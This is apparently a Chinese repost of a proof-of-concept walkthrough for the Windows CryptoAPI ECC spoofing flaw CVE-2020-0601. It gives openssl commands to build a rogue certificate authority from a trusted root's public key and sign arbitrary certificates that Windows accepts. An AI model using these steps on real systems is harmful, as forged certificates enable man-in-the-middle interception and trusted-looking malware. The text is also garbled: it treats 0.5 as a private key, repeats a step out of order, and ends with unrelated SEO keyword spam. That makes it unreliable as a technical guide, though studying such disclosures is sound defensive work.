千家信息网

如何使用POC解释了CHAINOFFOOLS

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本篇文章给大家分享的是有关如何使用POC解释了CHAINOFFOOLS,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。2020年1月14日
千家信息网最后更新 2026年10月31日如何使用POC解释了CHAINOFFOOLS

本篇文章给大家分享的是有关如何使用POC解释了CHAINOFFOOLS,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

2020年1月14日,星期二,MICROSOFT解决了NSA在win10,windows server 2016和2019版本的CRYPT32.DLL中发现的一个严重漏洞。

Microsoft发布了有关此漏洞的以下信息:

Windows CryptoAPI(Crypt32.dll)验证椭圆曲线密码术(ECC)证书的方式中存在一个欺骗漏洞。

攻击者可以通过使用欺骗性的代码签名证书对恶意可执行文件进行签名来利用此漏洞,从而使该文件似乎来自可靠的合法来源。用户将无法知道文件是恶意的,因为数字签名似乎来自受信任的提供程序。

成功的利用还可以使攻击者进行中间人攻击,并在与受影响软件的用户连接上解密机密信息。

尽管这说得相对模糊,但我们可以从CERT网站收集更多信息:

结果,攻击者可能能够制作看来具有被追踪到受信任的根证书颁发机构的能力的证书。

依靠Windows CertGetCertificateChain()函数来确定是否可以将X.509证书跟踪到受信任的根CA的任何软件(包括第三方非Microsoft软件)都可能错误地确定证书链的可信赖性。

支持使用带有指定参数的ECC密钥的证书的Microsoft Windows版本会受到影响。


我们可以知道 该漏洞可能使攻击者可以创建代码签名证书来签署恶意可执行文件,从而使该文件看起来好像来自受信任的合法来源。

在NSA通报中我们可以看到

包含仅与标准曲线部分匹配的显式定义的椭圆曲线参数的证书是可疑的,尤其是如果它们包含受信任证书的公钥时

那么我们可以使用与标准曲线不完全匹配的ECC和显式参数来制作证书!

这不难理解

在ECDSA中,私钥K是一个大整数,而公钥Pk是椭圆曲线上通过计算E得出的点,用于生成具有较大质数阶的曲线生成器(通常与您使用的曲线一起标准化) )。

那么我们可以知道:

因此,这里的想法是,在提供的证书中指定显式曲线参数时,证书的加载方式存在一些缺陷。

具体来说,您可以选择任何生成器,就可以为现有的公共密钥创建私钥。我们可以轻松计算出来并且伪造一个生成器,那么我们通过这个漏洞将会知道已知或者说想要攻击的CA的公钥所对应的私钥。

那么我们要如何实现这个漏洞的复现呢。

我们可以利用现有的证书或现有我们想要攻击的证书以及其公共密钥Pk和未知密钥k就足够了。我们再看回到上面的公式kG=Pk,现在我们来构造一些随机值x,然后代入公式中去为G'x=Pk。那么x为我们新生成的密钥,所以我们在用Pk新创建的密钥就是将证书公共密钥的有效密钥。这将有效地使我们欺骗Microsoft CryptoAPI

那么我们实知道某些CA证书的密钥,而当使用与标准生成器不同的生成器时,我们实际上就知道它的密钥。

那么我们可以编写poc了

首先,我们需要找到Windows的Trusted Root CA中的某些目标证书,这里我们使用ECC并对其进行攻击。

现在我们需要获取ECC的公钥,我们直接在USERTrustECCCertificationAuthority.crt -text -noout中使用openssl x509-轻松得到ECC的

Certificate:    Data:        Version: 3 (0x2)        Serial Number:            5c:8b:99:c5:5a:94:c5:d2:71:56:de:cd:89:80:cc:26        Signature Algorithm: ecdsa-with-SHA384        Issuer: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority        Validity            Not Before: Feb  1 00:00:00 2010 GMT            Not After : Jan 18 23:59:59 2038 GMT        Subject: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority        Subject Public Key Info:            Public Key Algorithm: id-ecPublicKey                Public-Key: (384 bit)                pub:                    04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53:                    c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c:                    d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee:                    5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d:                    97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4:                    70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d:                    32:7f:8a:34:e3:79:79                ASN1 OID: secp384r1                NIST CURVE: P-384        X509v3 extensions:            X509v3 Subject Key Identifier:                3A:E1:09:86:D4:CF:19:C2:96:76:74:49:76:DC:E0:35:C6:63:63:9A            X509v3 Key Usage: critical                Certificate Sign, CRL Sign            X509v3 Basic Constraints: critical                CA:TRUE    Signature Algorithm: ecdsa-with-SHA384         30:65:02:30:36:67:a1:16:08:dc:e4:97:00:41:1d:4e:be:e1:         63:01:cf:3b:aa:42:11:64:a0:9d:94:39:02:11:79:5c:7b:1d:         fa:64:b9:ee:16:42:b3:bf:8a:c2:09:c4:ec:e4:b1:4d:02:31:         00:e9:2a:61:47:8c:52:4a:4b:4e:18:70:f6:d6:44:d6:6e:f5:         83:ba:6d:58:bd:24:d9:56:48:ea:ef:c4:a2:46:81:88:6a:3a:         46:d1:a9:9b:4d:c9:61:da:d1:5d:57:6a:18

我们拿到了它的之中的一点Pk值

(0x1aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221,0xb3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979)

根据上面的理论我们得构造一个或多个的随机值x,我们可以取x值为1,但为了方便演示,我们得取一个合适的x,这里我们取x为0.5。

接下来,我们只需要生成一个带有显式曲线参数的pem文件,并使用生成器生成我们的恶意私钥即可。通过首先使用创建一个模板pem文件,openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit然后使用Python的Crypto.IO PEM模块对其进行编辑来完成。(有关详细信息,请参见PoC代码。)

然后,下一步是生成与真实序列相匹配的恶意CA公共文件

我们首先像通常一样生成一个全新的证书:

openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem

然后我们可以像通常那样生成一个证书签名请求:

openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr使用可以在存储库中找到的openssl.cnf配置文件。

最后,我们可以对使用我们的恶意CA进行CSR并获得我们的最终公共证书:

openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf

然后,下一步是生成与真实序列相匹配的恶意CA公共文件

从上面来看我们已经能够使用任意域名和使用者替代名称签署证书,并且Windows的CryptoAPI会将其识别为受信任的证书。注意(只要已经加载了根证书一次,它就在证书缓存中。)

最后,请记住,该漏洞不会被脚本小子或勒索软件利用。尽管这仍然是一个大问题,因为它可能允许对任何网站进行中间人攻击,但您仍需要面对一个拥有您所运营的网络的对手,这对于民族国家的对手来说是可能的,但是对于脚本小子来说却不能。这就是为什么我们发布此PoC的原因,此漏洞的可利用性不足以导致突然的勒索软件威胁(与Wannacry一样)。这也可能就是为什么国家安全局决定不武器化他们的发现,而宁愿披露它的原因。

以上就是如何使用POC解释了CHAINOFFOOLS,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

证书 生成 密钥 文件 曲线 漏洞 攻击 恶意 生成器 参数 软件 信息 公钥 就是 攻击者 标准 代码 更多 椭圆 有关 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 国智互联网科技 互联网金融监管科技数据 科技和互联网公司 深圳科技互联网 高科技与互联网 广州互联网络科技有限公司 互联网科技logo 猫创互联网科技 哈尔滨新华互联网科技 江苏南京365互联网科技 哈尔滨新华互联网科技学院 广州慧亚互联网科技怎么样 重庆互联网医院沙龙医盟信息科技 南平创想时代互联网科技有限公司 语蝶互联网科技有限公司 互联网科技研发水平 上海科技产业互联网平台 上海钢联属于互联网科技股吗 产业互联网科技服务公司 上海旺乐尼互联网科技有限公司 互联网科技财经 北京互联网科技公司 镁科技互联网资讯平台 成都仁贤领冠互联网科技有限公司 温州喔噻互联网科技有限公司 高科技互联网发展前景如何 四川慕妮娅互联网科技有限公司 元气玛特互联网科技公司是外包吗 广州智享互联网科技 中国互联网公司的科技投入
0